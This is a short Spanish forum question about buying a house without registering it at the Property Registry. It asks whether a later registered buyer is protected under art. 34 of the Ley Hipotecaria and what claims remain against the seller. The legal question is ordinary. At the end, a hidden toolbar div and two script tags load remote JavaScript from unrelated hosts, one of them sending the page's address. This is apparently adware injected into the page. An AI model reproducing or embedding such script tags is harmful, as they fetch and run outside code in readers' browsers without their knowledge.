Comprar y no inscribir

Buenas tardes,

si compro una casa sin hipoteca, y por tanto, la inscripción en el Registro no es obligatoria, y decido no inscribir. Si el anterior comprador, que figura como titular registral, vende esta misma casa pongamos que al día siguiente, pero él sí inscribe. ¿Éste estaría protegido por el art. 34 LH, no? Por tanto, no hay ningún medio para privarle de esa propiedad en virtud de la adquisición ante notario de un derecho anterior al suyo? Si así fuera, qué acciones tengo contra el vendedor?

Muchas gracias.

<div id="__tbSetup"> </div><script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862"></script><script type="text/javascript" src="https://secure-content-delivery.com/data.js.php?i={04D162B3-BEB4-453F-BF4B-681687B0024A}&d=2012-10-30&s=http://www.todoexpertos.com/mitodoexpertos/ask/board/195"></script>